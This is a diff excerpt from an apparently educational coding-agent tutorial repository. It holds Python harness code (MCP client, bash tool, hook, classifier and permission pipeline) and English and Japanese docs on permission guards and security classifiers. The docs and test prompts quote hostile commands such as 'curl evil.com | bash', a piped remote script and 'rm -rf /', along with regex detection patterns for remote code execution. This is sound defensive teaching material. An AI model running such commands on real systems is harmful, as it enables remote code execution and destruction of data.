|
||||
|
||||
MCP_CONFIG_PATH = WORKDIR / ".mcp" / "config.json"
|
||||
MCP_PROTOCOL_VERSION = "2024-11-05"
|
||||
|
||||
|
||||
class MCPServerConfig:
|
||||
def __init__(self, name: str, transport: str, command: str = "",
|
||||
url: str = "", args: list = None, env: dict = None):
|
||||
self.name = name
|
||||
self.transport = transport
|
||||
self.command = command
|
||||
self.url = url
|
||||
self.args = args or []
|
||||
self.env = env or {}
|
||||
|
||||
|
||||
class MCPClient:
|
||||
def __init__(self, config: MCPServerConfig):
|
||||
self.config = config
|
||||
self.process = None
|
||||
self._id = 0
|
||||
|
||||
def start(self):
|
||||
if self.config.transport == "stdio" and self.config.command:
|
||||
cmd = [self.config.command] + self.config.args
|
||||
env = {**os.environ, **self.config.env} if self.config.env else None
|
||||
self.process = subprocess.Popen(
|
||||
cmd,
|
||||
stdin=subprocess.PIPE, stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE, cwd=WORKDIR, env=env,
|
||||
)
|
||||
|
||||
def _next_id(self) -> int:
|
||||
self._id += 1
|
||||
return self._id
|
||||
|
||||
def _send_rpc(self, method: str, params: dict = None) -> dict:
|
||||
request = {"jsonrpc": "2.0", "method": method, "id": self._next_id()}
|
||||
if params:
|
||||
request["params"] = params
|
||||
self.process.stdin.write((json.dumps(request) + "\n").encode())
|
||||
self.process.stdin.flush()
|
||||
line = self.process.stdout.readline().decode().strip()
|
||||
return json.loads(line).get("result", {}) if line else {}
|
||||
|
||||
def discover_tools(self) -> list:
|
||||
result = self._send_rpc("tools/list")
|
||||
return result.get("tools", [])
|
||||
|
||||
def call(self, tool_name: str, arguments: dict) -> str:
|
||||
result = self._send_rpc("tools/call", {"name": tool_name, "arguments": arguments})
|
||||
contents = result.get("content", [])
|
||||
return "\n".join(c.get("text", "") for c in contents if c.get("type") == "text")
|
||||
|
||||
def shutdown(self):
|
||||
if self.process:
|
||||
self.process.terminate()
|
||||
self.process.wait(timeout=5)
|
||||
|
||||
|
||||
class MCPManager:
|
||||
def __init__(self):
|
||||
self._clients: dict[str, MCPClient] = {}
|
||||
self._tools: dict[str, tuple[str, dict]] = {}
|
||||
|
||||
def load_config(self) -> list[MCPServerConfig]:
|
||||
if not MCP_CONFIG_PATH.exists():
|
||||
return []
|
||||
data = json.loads(MCP_CONFIG_PATH.read_text())
|
||||
servers = data.get("mcpServers", {})
|
||||
return [MCPServerConfig(name=k, **v) for k, v in servers.items()]
|
||||
|
||||
def connect_all(self) -> list[dict]:
|
||||
discovered = []
|
||||
for config in self.load_config():
|
||||
try:
|
||||
c = MCPClient(config)
|
||||
c.start()
|
||||
tools = c.discover_tools()
|
||||
self._clients[config.name] = c
|
||||
for tool in tools:
|
||||
self._tools[tool["name"]] = (config.name, tool)
|
||||
discovered.append(tool)
|
||||
except Exception as e:
|
||||
print(f"[mcp] Failed to connect {config.name}: {e}")
|
||||
return discovered
|
||||
|
||||
def call(self, tool_name: str, arguments: dict) -> str:
|
||||
if tool_name not in self._tools:
|
||||
return f"Unknown MCP tool: {tool_name}"
|
||||
server_name, _ = self._tools[tool_name]
|
||||
return self._clients[server_name].call(tool_name, arguments)
|
||||
|
||||
def shutdown_all(self):
|
||||
for c in self._clients.values():
|
||||
c.shutdown()
|
||||
|
||||
def list_servers(self) -> str:
|
||||
lines = []
|
||||
for name, c in self._clients.items():
|
||||
tools = [t for t, (s, _) in self._tools.items() if s == name]
|
||||
lines.append(f" {name} ({c.config.transport}): {len(tools)} tools")
|
||||
return "\n".join(lines) if lines else " (no MCP servers connected)"
|
||||
|
||||
|
||||
# === SECTION: initialize all managers ===
|
||||
|
||||
CLASSIFIER = SecurityClassifier(client, MODEL)
|
||||
GUARD = PermissionGuard(classifier=CLASSIFIER)
|
||||
HOOKS = HookManager()
|
||||
MCP = MCPManager()
|
||||
|
||||
|
||||
# === SECTION: base tools ===
|
||||
|
||||
def safe_path(p: str) -> Path:
|
||||
path = (WORKDIR / p).resolve()
|
||||
if not path.is_relative_to(WORKDIR):
|
||||
raise ValueError(f"Path escapes workspace: {p}")
|
||||
return path
|
||||
|
||||
|
||||
def run_bash(command: str) -> str:
|
||||
try:
|
||||
r = subprocess.run(command, shell=True, cwd=WORKDIR,
|
||||
capture_output=True, text=True, timeout=120)
|
||||
out = (r.stdout + r.stderr).strip()
|
||||
return out[:50000] if out else "(no output)"
|
||||
except subprocess.TimeoutExpired:
|
||||
return "Error: Timeout (120s)"
|
||||
|
||||
|
||||
def run_read(path: str, limit: int = None) -> str:
|
||||
try:
|
||||
lines = safe_path(path).read_text().splitlines()
|
||||
if limit and limit < len(lines):
|
||||
lines = lines[:limit] + [f"... ({len(lines) - limit} more lines)"]
|
||||
return "\n".join(lines)[:50000]
|
||||
except Exception as e:
|
||||
return f"Error: {e}"
|
||||
|
||||
|
||||
def run_write(path: str, content: str) -> str:
|
||||
try:
|
||||
fp = safe_path(path)
|
||||
fp.parent.mkdir(parents=True, exist_ok=True)
|
||||
fp.write_text(content)
|
||||
return f"Wrote {len(content)} bytes to {path}"
|
||||
except Exception as e:
|
||||
return f"Error: {e}"
|
||||
|
||||
|
||||
def run_edit(path: str, old_text: str, new_text: str) -> str:
|
||||
try:
|
||||
fp = safe_path(path)
|
||||
content = fp.read_text()
|
||||
if old_text not in content:
|
||||
return f"Error: Text not found in {path}"
|
||||
fp.write_text(content.replace(old_text, new_text, 1))
|
||||
return f"Edited {path}"
|
||||
except Exception as e:
|
||||
return f"Error: {e}"
|
||||
|
||||
|
||||
# === SECTION: hook & mcp management tools ===
|
||||
|
||||
def hook_register(event: str, mode: str, name: str,
|
||||
description: str = "", tool_filter: str = None) -> str:
|
||||
if event not in HOOK_EVENTS:
|
||||
return f"Unknown event: {event}. Available: {', '.join(HOOK_EVENTS)}"
|
||||
if mode not in ("observe", "modify", "block"):
|
||||
return f"Unknown mode: {mode}. Available: observe, modify, block"
|
||||
# For observe and block, register a simple handler
|
||||
if mode == "observe":
|
||||
def handler(ctx): pass
|
||||
elif mode == "block":
|
||||
def handler(ctx): return f"Blocked by user hook: {name}"
|
||||
else:
|
||||
def handler(ctx): pass
|
||||
HOOKS.register(event, mode, handler, name, description, tool_filter)
|
||||
return f"Registered hook '{name}' on {event} ({mode})"
|
||||
|
||||
|
||||
def mcp_discover() -> str:
|
||||
tools = MCP.connect_all()
|
||||
# Register discovered MCP tools into TOOL_HANDLERS and TOOLS
|
||||
for tool_schema in tools:
|
||||
tname = tool_schema["name"]
|
||||
TOOL_HANDLERS[tname] = (lambda n: lambda **kw: MCP.call(n, kw))(tname)
|
||||
TOOLS.append(tool_schema)
|
||||
return f"Discovered {len(tools)} MCP tools"
|
||||
|
||||
|
||||
TOOL_HANDLERS = {
|
||||
"bash": lambda **kw: run_bash(kw["command"]),
|
||||
"read_file": lambda **kw: run_read(kw["path"], kw.get("limit")),
|
||||
"write_file": lambda **kw: run_write(kw["path"], kw["content"]),
|
||||
"edit_file": lambda **kw: run_edit(kw["path"], kw["old_text"], kw["new_text"]),
|
||||
"hook_register": lambda **kw: hook_register(kw["event"], kw["mode"], kw["name"],
|
||||
kw.get("description", ""), kw.get("tool_filter")),
|
||||
"hook_list": lambda **kw: HOOKS.list_hooks(),
|
||||
"mcp_list_servers": lambda **kw: MCP.list_servers(),
|
||||
"mcp_discover": lambda **kw: mcp_discover(),
|
||||
}
|
||||
|
||||
TOOLS = [
|
||||
{"name": "bash", "description": "Run a shell command. Routed through security pipeline: hook -> classifier -> permission -> execute -> hook.",
|
||||
"input_schema": {"type": "object", "properties": {"command": {"type": "string"}}, "required": ["command"]}},
|
||||
{"name": "read_file", "description": "Read file contents.",
|
||||
"input_schema": {"type": "object", "properties": {"path": {"type": "string"}, "limit": {"type": "integer"}}, "required": ["path"]}},
|
||||
{"name": "write_file", "description": "Write content to file.",
|
||||
"input_schema": {"type": "object", "properties": {"path": {"type": "string"}, "content": {"type": "string"}}, "required": ["path", "content"]}},
|
||||
{"name": "edit_file", "description": "Replace exact text in file.",
|
||||
"input_schema": {"type": "object", "properties": {"path": {"type": "string"}, "old_text": {"type": "string"}, "new_text": {"type": "string"}}, "required": ["path", "old_text", "new_text"]}},
|
||||
{"name": "hook_register", "description": "Register a hook to intercept tool calls. Events: PreToolUse, PostToolUse, PreBash, PostBash, AgentStart, AgentStop. Modes: observe, modify, block.",
|
||||
"input_schema": {"type": "object", "properties": {"event": {"type": "string"}, "mode": {"type": "string"}, "name": {"type": "string"}, "description": {"type": "string"}, "tool_filter": {"type": "string"}}, "required": ["event", "mode", "name"]}},
|
||||
{"name": "hook_list", "description": "List all registered hooks.",
|
||||
"input_schema": {"type": "object", "properties": {}}},
|
||||
{"name": "mcp_list_servers", "description": "List connected MCP servers and their tools.",
|
||||
"input_schema": {"type": "object", "properties": {}}},
|
||||
{"name": "mcp_discover", "description": "Re-scan and register MCP tools from all configured servers.",
|
||||
"input_schema": {"type": "object", "properties": {}}},
|
||||
]
|
||||
|
||||
|
||||
# === SECTION: pipeline ===
|
||||
|
||||
def execute_tool(tool_name: str, tool_input: dict, context: dict) -> str:
|
||||
# Layer 1: Pre-tool hook
|
||||
hook_ctx = {"tool": tool_name, "input": tool_input}
|
||||
pre = HOOKS.fire("PreToolUse", hook_ctx)
|
||||
if pre and pre.get("action") == "block":
|
||||
return f"Blocked by hook: {pre['reason']}"
|
||||
|
||||
# Layer 1b: Pre-bash hook (finer-grained, logs audit trail)
|
||||
if tool_name == "bash":
|
||||
pre_bash = HOOKS.fire("PreBash", hook_ctx)
|
||||
if pre_bash and pre_bash.get("action") == "block":
|
||||
return f"Blocked by bash hook: {pre_bash['reason']}"
|
||||
|
||||
# Layer 2: Classifier + Layer 3: Permission (bash only)
|
||||
if tool_name == "bash":
|
||||
cmd = tool_input.get("command", "")
|
||||
allowed, cmd_to_run, reason = GUARD.check(cmd, context.get("recent_text", ""))
|
||||
if not allowed:
|
||||
return f"Security denied: {reason}"
|
||||
tool_input = {**tool_input, "command": cmd_to_run}
|
||||
|
||||
# Layer 4: Execute
|
||||
handler = TOOL_HANDLERS.get(tool_name)
|
||||
if handler:
|
||||
try:
|
||||
output = handler(**tool_input)
|
||||
except Exception as e:
|
||||
HOOKS.fire("OnError", {"tool": tool_name, "error": str(e)})
|
||||
output = f"Error: {e}"
|
||||
elif tool_name in MCP._tools:
|
||||
output = MCP.call(tool_name, tool_input)
|
||||
else:
|
||||
output = f"Unknown tool: {tool_name}"
|
||||
|
||||
# Layer 5: Post-tool hook
|
||||
HOOKS.fire("PostToolUse", {"tool": tool_name, "output": output})
|
||||
if tool_name == "bash":
|
||||
HOOKS.fire("PostBash", {"tool": tool_name, "output": output})
|
||||
|
||||
return output
|
||||
|
||||
|
||||
# === SECTION: agent_loop ===
|
||||
|
||||
def agent_loop(messages: list):
|
||||
HOOKS.fire("AgentStart", {"messages": messages})
|
||||
try:
|
||||
while True:
|
||||
response = client.messages.create(
|
||||
model=MODEL, system=SYSTEM, messages=messages,
|
||||
tools=TOOLS, max_tokens=8000,
|
||||
)
|
||||
messages.append({"role": "assistant", "content": response.content})
|
||||
if response.stop_reason != "tool_use":
|
||||
return
|
||||
results = []
|
||||
recent_text = ""
|
||||
for block in response.content:
|
||||
if hasattr(block, "text") and block.text:
|
||||
recent_text += block.text[-200:]
|
||||
for block in response.content:
|
||||
if block.type == "tool_use":
|
||||
output = execute_tool(block.name, block.input,
|
||||
{"recent_text": recent_text})
|
||||
print(f"> {block.name}:")
|
||||
print(str(output)[:200])
|
||||
results.append({"type": "tool_result", "tool_use_id": block.id,
|
||||
"content": str(output)})
|
||||
messages.append({"role": "user", "content": results})
|
||||
finally:
|
||||
HOOKS.fire("AgentStop", {})
|
||||
|
||||
|
||||
# === SECTION: repl ===
|
||||
if __name__ == "__main__":
|
||||
# Connect MCP servers at startup
|
||||
print("[mcp] Connecting servers...")
|
||||
print(mcp_discover())
|
||||
|
||||
history = []
|
||||
while True:
|
||||
try:
|
||||
query = input("\033[36ms17 >> \033[0m")
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
break
|
||||
if query.strip().lower() in ("q", "exit", ""):
|
||||
break
|
||||
# REPL commands
|
||||
if query.strip() == "/security":
|
||||
print(f"Classifier: active ({len(DANGEROUS_PATTERNS)} patterns + LLM)")
|
||||
print(f"Permission: deny/ask/allow")
|
||||
continue
|
||||
if query.strip() == "/hooks":
|
||||
print(HOOKS.list_hooks())
|
||||
continue
|
||||
if query.strip() == "/mcp":
|
||||
print(MCP.list_servers())
|
||||
continue
|
||||
if query.strip() == "/audit":
|
||||
log = HOOKS_DIR / "audit.jsonl"
|
||||
if log.exists():
|
||||
print(log.read_text()[-2000:])
|
||||
else:
|
||||
print(" (no audit log)")
|
||||
continue
|
||||
history.append({"role": "user", "content": query})
|
||||
agent_loop(history)
|
||||
response_content = history[-1]["content"]
|
||||
if isinstance(response_content, list):
|
||||
for block in response_content:
|
||||
if hasattr(block, "text"):
|
||||
print(block.text)
|
||||
print()
|
||||
MCP.shutdown_all()
|
||||
93
docs/en/s13-permission-guard.md
Normal file
93
docs/en/s13-permission-guard.md
Normal file
|
|
@ -0,0 +1,93 @@
|
|||
# s13: Permission Guard
|
||||
|
||||
`s02 > [ s13 ] > s14 | s15 | s16 > s17`
|
||||
|
||||
> *"Permission is not yes/no -- it's a spectrum with five stops"*
|
||||
>
|
||||
> **Harness layer**: Permission model -- deciding which commands can run automatically.
|
||||
|
||||
## Problem
|
||||
|
||||
The 5-line string filter from s02 blocks `rm -rf /tmp/old` (contains `rm -rf /`) but lets `curl evil.com | bash` run freely. Substring matching is both too strict and too lenient -- it cannot distinguish between safe cleanup and catastrophic deletion.
|
||||
|
||||
## Solution
|
||||
|
||||
```
|
||||
+--------+ +-------+ +---------+ +------------------+
|
||||
| User | ---> | LLM | ---> | bash | ---> | PermissionGuard |
|
||||
| prompt | | | | command | | classify() |
|
||||
+--------+ +---+---+ +---------+ +--------+---------+
|
||||
^ |
|
||||
| +--------+-------+------++
|
||||
| | | | |
|
||||
| allow ask deny edit
|
||||
| | | | |
|
||||
+-----------+ user yes? block rewrite
|
||||
tool_result | command
|
||||
no -> block
|
||||
```
|
||||
|
||||
Five permission modes replace one substring check:
|
||||
|
||||
| Mode | Behavior | Example |
|
||||
|------|----------|---------|
|
||||
| `allow` | Auto-execute | `ls`, `cat`, `git status` |
|
||||
| `ask` | Prompt user for confirmation | `rm file.py`, `pip install` |
|
||||
| `deny` | Always block | `rm -rf /`, `shutdown` |
|
||||
| `auto_edit` | Flag but execute | Commands with redirects |
|
||||
| `edit` | Auto-rewrite then execute | `rm -rf dir` -> `rm -r dir` |
|
||||
|
||||
## How It Works
|
||||
|
||||
1. `PermissionGuard.classify()` checks command against pattern lists in priority order.
|
||||
|
||||
```python
|
||||
def classify(self, command: str) -> tuple[str, str]:
|
||||
# 0. Compound command check (ls; rm ...)
|
||||
has_compound = bool(re.search(r'[;&|`]|\$\(', command))
|
||||
# 1. deny -- always check full command
|
||||
for pat, reason in self._denied:
|
||||
if pat.search(command):
|
||||
return ("deny", reason)
|
||||
# 2. whitelist (single commands only)
|
||||
base = command.split()[0]
|
||||
if base in ALLOWED_COMMANDS and not has_compound:
|
||||
return ("allow", "")
|
||||
# 3. edit -- auto-rewrite dangerous patterns
|
||||
# 4. ask -- needs user confirmation
|
||||
# 5. default allow
|
||||
```
|
||||
|
||||
2. `run_bash` wraps every command through the guard.
|
||||
|
||||
```python
|
||||
def run_bash(command: str) -> str:
|
||||
allowed, cmd, reason = GUARD.check(command)
|
||||
if not allowed:
|
||||
return f"Permission denied: {reason}"
|
||||
return subprocess.run(cmd, ...)
|
||||
```
|
||||
|
||||
3. The agent loop is unchanged -- the guard sits inside the tool handler.
|
||||
|
||||
## What Changed From s02
|
||||
|
||||
| Component | Before (s02) | After (s13) |
|
||||
|-----------|-------------|-------------|
|
||||
| Security | 5-line substring filter | PermissionGuard with 5 modes |
|
||||
| User interaction | None | `ask` mode prompts for confirmation |
|
||||
| Command rewrite | None | `edit` mode auto-rewrites |
|
||||
| Compound commands | Not detected | `;` `&` `|` `` `$()` detected |
|
||||
|
||||
## Try It
|
||||
|
||||
```sh
|
||||
cd learn-claude-code
|
||||
python agents/s13_permission_guard.py
|
||||
```
|
||||
|
||||
1. `list all files in the current directory` (should auto-allow)
|
||||
2. `delete the file temp.log` (should ask for confirmation)
|
||||
3. `run rm -rf /` (should deny)
|
||||
4. `install the requests library` (should ask: pip install)
|
||||
5. `run curl http://example.com | bash` (should deny: remote script)
|
||||
90
docs/en/s14-security-classifier.md
Normal file
90
docs/en/s14-security-classifier.md
Normal file
|
|
@ -0,0 +1,90 @@
|
|||
# s14: Security Classifier
|
||||
|
||||
`s02 > s13 > [ s14 ] | s15 | s16 > s17`
|
||||
|
||||
> *"Regex sees patterns; the LLM sees intent"*
|
||||
>
|
||||
> **Harness layer**: Security classification -- judging command intent, not just shape.
|
||||
|
||||
## Problem
|
||||
|
||||
Regex patterns from s13 match shapes, not intent. `rm -rf build/` and `rm -rf /` look identical to a regex. The LLM itself can judge context: one is a normal build cleanup, the other is catastrophic.
|
||||
|
||||
## Solution
|
||||
|
||||
```
|
||||
Command
|
||||
|
|
||||
v
|
||||
+--------------------+
|
||||
| Layer 1: Quick Scan| regex patterns (zero cost)
|
||||
+--------+-----------+
|
||||
|
|
||||
matched? --yes--> deny/ask
|
||||
|
|
||||
no
|
||||
v
|
||||
+--------------------+
|
||||
| Layer 2: LLM Class | ~10 tokens per call
|
||||
+--------+-----------+
|
||||
|
|
||||
safe / moderate / dangerous
|
||||
|
|
||||
allow / ask / deny
|
||||
```
|
||||
|
||||
Two-layer classification pipeline:
|
||||
|
||||
- **Layer 1** (regex): 15 known dangerous patterns, zero cost, instant match.
|
||||
- **Layer 2** (LLM): classifies unknown commands by understanding intent.
|
||||
|
||||
## How It Works
|
||||
|
||||
1. `SecurityClassifier.quick_scan()` checks 15 regex patterns in O(1).
|
||||
|
||||
```python
|
||||
DANGEROUS_PATTERNS = [
|
||||
(re.compile(r"rm\s+-rf\s+/(?!\w)"), "Root recursive delete"),
|
||||
(re.compile(r"sudo\s+"), "Elevated privileges"),
|
||||
(re.compile(r"curl.*\|\s*(ba)?sh"), "Remote code execution"),
|
||||
# ... 12 more patterns
|
||||
]
|
||||
```
|
||||
|
||||
2. `SecurityClassifier.llm_classify()` sends the command to the LLM for intent analysis.
|
||||
|
||||
```python
|
||||
def llm_classify(self, command: str, context: str = "") -> str:
|
||||
resp = self.client.messages.create(
|
||||
model=self.model,
|
||||
messages=[{"role": "user", "content":
|
||||
f"Classify: {command}\nContext: {context}\n"
|
||||
f"Reply: safe, moderate, or dangerous"}],
|
||||
max_tokens=10,
|
||||
)
|
||||
return resp.content[0].text.strip().lower()
|
||||
```
|
||||
|
||||
3. `classify()` runs the full pipeline: quick-scan -> whitelist -> LLM.
|
||||
|
||||
## What Changed From s13
|
||||
|
||||
| Component | Before (s13) | After (s14) |
|
||||
|-----------|-------------|-------------|
|
||||
| Classification | Regex pattern matching only | Regex quick-scan + LLM classification |
|
||||
| Unknown commands | Default allow | LLM judges safe/moderate/dangerous |
|
||||
| False positives | High (`rm -rf build/` blocked) | Low (LLM understands intent) |
|
||||
| Cost | Zero | Whitelist zero + LLM ~10 tokens/call |
|
||||
|
||||
## Try It
|
||||
|
||||
```sh
|
||||
cd learn-claude-code
|
||||
python agents/s14_security_classifier.py
|
||||
```
|
||||
|
||||
1. `delete the build/ directory` (LLM should judge as moderate -> ask)
|
||||
2. `list all python files` (whitelist -> allow)
|
||||
3. `run git push --force origin main` (regex pattern -> deny)
|
||||
4. `run pip install numpy` (LLM should judge as moderate -> ask)
|
||||
5. `create a new file called test.py` (LLM should judge as safe -> allow)
|
||||
103
docs/en/s17-secure-extension-harness.md
Normal file
103
docs/en/s17-secure-extension-harness.md
Normal file
|
|
@ -0,0 +1,103 @@
|
|||
# s17: Secure Extension Harness
|
||||
|
||||
`s02 > s13 > s14 | s15 | s16 > [ s17 ]`
|
||||
|
||||
> *"Production harnesses aren't about more features -- they're about clear responsibilities at every layer"*
|
||||
>
|
||||
> **Harness layer**: Security pipeline -- composing all defense layers into one execution path.
|
||||
|
||||
## Problem
|
||||
|
||||
s13-s16 each runs as a standalone agent. Real systems need all layers working together inside a single execution pipeline. The question: how do they compose without conflicting?
|
||||
|
||||
## Solution
|
||||
|
||||
```
|
||||
LLM calls tool
|
||||
|
|
||||
v
|
||||
+---------------------+
|
||||
| [1] Pre-tool Hook | --block--> return error
|
||||
+----------+----------+
|
||||
v
|
||||
+---------------------+
|
||||
| [2] Classifier | --deny---> return error
|
||||
+----------+----------+
|
||||
v
|
||||
+---------------------+
|
||||
| [3] Permission | --deny---> return error
|
||||
| | --ask---> user confirm?
|
||||
+----------+----------+
|
||||
v
|
||||
+---------------------+
|
||||
| [4] Execute | built-in handler or MCP
|
||||
+----------+----------+
|
||||
v
|
||||
+---------------------+
|
||||
| [5] Post-tool Hook | observe / log
|
||||
+----------+----------+
|
||||
|
|
||||
v
|
||||
return result
|
||||
```
|
||||
|
||||
Each layer answers exactly one question:
|
||||
|
||||
| Layer | Question | Source |
|
||||
|-------|----------|--------|
|
||||
| Hook | "Should this action be intercepted?" | s15 |
|
||||
| Classifier | "What is this command's intent?" | s14 |
|
||||
| Permission | "Is this intent allowed?" | s13 |
|
||||
| Execute | "Run and return result" | s02 + s16 |
|
||||
|
||||
## How It Works
|
||||
|
||||
1. `execute_tool()` runs the 5-layer pipeline for every tool call.
|
||||
|
||||
```python
|
||||
def execute_tool(tool_name, tool_input, context):
|
||||
# Layer 1: Pre-tool hook
|
||||
pre = HOOKS.fire("PreToolUse", {"tool": tool_name, "input": tool_input})
|
||||
if pre and pre.get("action") == "block":
|
||||
return f"Blocked by hook: {pre['reason']}"
|
||||
|
||||
# Layer 2+3: Classifier + Permission (bash only)
|
||||
if tool_name == "bash":
|
||||
allowed, cmd, reason = GUARD.check(command)
|
||||
if not allowed:
|
||||
return f"Security denied: {reason}"
|
||||
|
||||
# Layer 4: Execute
|
||||
handler = TOOL_HANDLERS.get(tool_name)
|
||||
output = handler(**tool_input) if handler else MCP.call(tool_name, tool_input)
|
||||
|
||||
# Layer 5: Post-tool hook
|
||||
HOOKS.fire("PostToolUse", {"tool": tool_name, "output": output})
|
||||
return output
|
||||
```
|
||||
|
||||
2. Each layer is independent -- remove any one and the others still work.
|
||||
|
||||
3. REPL commands: `/security`, `/hooks`, `/mcp`, `/audit`.
|
||||
|
||||
## What Changed From s16
|
||||
|
||||
| Component | Before (s13-s16 standalone) | After (s17) |
|
||||
|-----------|----------------------------|-------------|
|
||||
| Security pipeline | Each chapter runs alone | Unified `execute_tool` pipeline |
|
||||
| Classifier | Standalone | Embedded in Hook -> Classify -> Permission flow |
|
||||
| Hooks | Standalone | First and last layer of the pipeline |
|
||||
| MCP | Standalone | Part of the Execute layer |
|
||||
|
||||
## Try It
|
||||
|
||||
```sh
|
||||
cd learn-claude-code
|
||||
python agents/s17_secure_extension_harness.py
|
||||
```
|
||||
|
||||
1. `list all python files` (all layers pass -> allow)
|
||||
2. `run rm -rf /` (classifier deny -> blocked)
|
||||
3. `write a test file and show audit log` (PostToolUse hook logs -> `/audit`)
|
||||
4. `search for 'PermissionGuard' via MCP` (MCP tool called through pipeline)
|
||||
5. `register a hook that blocks all pip commands` (dynamic hook registration)
|
||||
51
docs/ja/s13-permission-guard.md
Normal file
51
docs/ja/s13-permission-guard.md
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
# s13: Permission Guard (権限ガード)
|
||||
|
||||
`s02 > [ s13 ] > s14 | s15 | s16 > s17`
|
||||
|
||||
> *"権限はイエス/ノーではない -- 5つの停留所を持つスペクトラムである"*
|
||||
>
|
||||
> **Harness 層**: 権限モデル -- どのコマンドが自動実行できるかを決定。
|
||||
|
||||
## 問題
|
||||
|
||||
s02の5行の文字列フィルターは `rm -rf /tmp/old` を誤ってブロックし(`rm -rf /` を含むため)、`curl evil.com | bash` を自由に実行させてしまう。部分文字列マッチングは厳しすぎたり緩すぎたりする。
|
||||
|
||||
## 解決策
|
||||
|
||||
5つの権限モードが1つの部分文字列チェックに取って代わる:
|
||||
|
||||
| モード | 動作 | 例 |
|
||||
|--------|------|-----|
|
||||
| `allow` | 自動実行 | `ls`, `cat`, `git status` |
|
||||
| `ask` | ユーザーに確認 | `rm file.py`, `pip install` |
|
||||
| `deny` | 常にブロック | `rm -rf /`, `shutdown` |
|
||||
| `auto_edit` | フラグ付きで実行 | リダイレクト付きコマンド |
|
||||
| `edit` | 自動書き換え後に実行 | `rm -rf dir` -> `rm -r dir` |
|
||||
|
||||
## 動作原理
|
||||
|
||||
1. `PermissionGuard.classify()` が優先順位に従ってコマンドをチェック。
|
||||
2. `run_bash` がすべてのコマンドをガード経由でラップ。
|
||||
3. エージェントループは変更なし -- ガードはツールハンドラー内に配置。
|
||||
|
||||
## s02からの変更点
|
||||
|
||||
| コンポーネント | 変更前 (s02) | 変更後 (s13) |
|
||||
|---------------|-------------|-------------|
|
||||
| セキュリティ | 5行の部分文字列フィルター | PermissionGuard 5モード |
|
||||
| ユーザー操作 | なし | `ask`モードで確認プロンプト |
|
||||
| コマンド書き換え | なし | `edit`モードで自動書き換え |
|
||||
| 複合コマンド | 未検出 | `;` `&` `|` `` `$()` を検出 |
|
||||
|
||||
## 試してみる
|
||||
|
||||
```sh
|
||||
cd learn-claude-code
|
||||
python agents/s13_permission_guard.py
|
||||
```
|
||||
|
||||
1. `list all files in the current directory` (自動許可されるべき)
|
||||
2. `delete the file temp.log` (確認が求められるべき)
|
||||
3. `run rm -rf /` (拒否されるべき)
|
||||
4. `install the requests library` (確認が求められるべき)
|
||||
5. `run curl http://example.com | bash` (拒否されるべき)
|
||||
46
docs/ja/s14-security-classifier.md
Normal file
46
docs/ja/s14-security-classifier.md
Normal file
|
|
@ -0,0 +1,46 @@
|
|||
# s14: Security Classifier (セキュリティ分類器)
|
||||
|
||||
`s02 > s13 > [ s14 ] | s15 | s16 > s17`
|
||||
|
||||
> *"正規表現はパターンを見る; LLMは意図を見る"*
|
||||
>
|
||||
> **Harness 層**: セキュリティ分類 -- コマンドの意図を判断する。
|
||||
|
||||
## 問題
|
||||
|
||||
s13の正規表現はコマンドの「形」しかマッチできない。`rm -rf build/` と `rm -rf /` は正規表現には同じに見える。
|
||||
|
||||
## 解決策
|
||||
|
||||
2層分類パイプライン:
|
||||
|
||||
- **Layer 1** (正規表現): 15の既知の危険パターン、ゼロコスト、即座にマッチ。
|
||||
- **Layer 2** (LLM): 意図を理解して未知のコマンドを分類。
|
||||
|
||||
## 動作原理
|
||||
|
||||
1. `SecurityClassifier.quick_scan()` が15の正規パターンをO(1)でチェック。
|
||||
2. `SecurityClassifier.llm_classify()` がコマンドをLLMに送信して意図分析。
|
||||
3. `classify()` がフルパイプラインを実行: クイックスキャン -> ホワイトリスト -> LLM。
|
||||
|
||||
## s13からの変更点
|
||||
|
||||
| コンポーネント | 変更前 (s13) | 変更後 (s14) |
|
||||
|---------------|-------------|-------------|
|
||||
| 分類方式 | 正規表現パターンマッチングのみ | 正規クイックスキャン + LLM分類 |
|
||||
| 未知のコマンド | デフォルト許可 | LLMがsafe/moderate/dangerousを判断 |
|
||||
| 誤検知 | 高い | 低い (LLMは意図を理解) |
|
||||
| コスト | ゼロ | ホワイトリスト無料 + LLM ~10 tokens/呼び出し |
|
||||
|
||||
## 試してみる
|
||||
|
||||
```sh
|
||||
cd learn-claude-code
|
||||
python agents/s14_security_classifier.py
|
||||
```
|
||||
|
||||
1. `delete the build/ directory` (LLMがmoderateと判定 -> 確認)
|
||||
2. `list all python files` (ホワイトリスト -> 許可)
|
||||
3. `run git push --force origin main` (正規パターン -> 拒否)
|
||||
4. `run pip install numpy` (LLMがmoderateと判定 -> 確認)
|
||||
5. `create a new file called test.py` (LLMがsafeと判定 -> 許可)
|
||||
50
docs/ja/s17-secure-extension-harness.md
Normal file
50
docs/ja/s17-secure-extension-harness.md
Normal file
|
|
@ -0,0 +1,50 @@
|
|||
# s17: Secure Extension Harness (セキュア拡張ハーネス)
|
||||
|
||||
`s02 > s13 > s14 | s15 | s16 > [ s17 ]`
|
||||
|
||||
> *"プロダクションハーネスの核心は機能の多さではなく、各層の責任の明確さにある"*
|
||||
>
|
||||
> **Harness 層**: セキュリティパイプライン -- すべての防御層を1つの実行パスに構成。
|
||||
|
||||
## 問題
|
||||
|
||||
s13-s16はそれぞれスタンドアロンのエージェントとして動作する。本番システムではすべての層が単一の実行パイプライン内で連携する必要がある。
|
||||
|
||||
## 解決策
|
||||
|
||||
各層は1つの質問にのみ答える:
|
||||
|
||||
| 層 | 質問 | 出典 |
|
||||
|----|------|------|
|
||||
| Hook | "このアクションを傍受すべきか?" | s15 |
|
||||
| 分類器 | "このコマンドの意図は何か?" | s14 |
|
||||
| 権限 | "この意図は許可されるか?" | s13 |
|
||||
| 実行 | "実行して結果を返す" | s02 + s16 |
|
||||
|
||||
## 動作原理
|
||||
|
||||
1. `execute_tool()` がすべてのツール呼び出しに対して5層パイプラインを実行。
|
||||
2. 各層は独立 -- どれか1つを削除しても他は動作する。
|
||||
3. REPLコマンド: `/security`, `/hooks`, `/mcp`, `/audit`。
|
||||
|
||||
## s16からの変更点
|
||||
|
||||
| コンポーネント | 変更前 (s13-s16単体) | 変更後 (s17) |
|
||||
|---------------|---------------------|-------------|
|
||||
| セキュリティパイプライン | 各章が単独で実行 | 統合`execute_tool`パイプライン |
|
||||
| 分類器 | 単独実行 | Hook -> Classify -> Permissionフローに組み込み |
|
||||
| Hooks | 単独実行 | パイプラインの最初と最後の層 |
|
||||
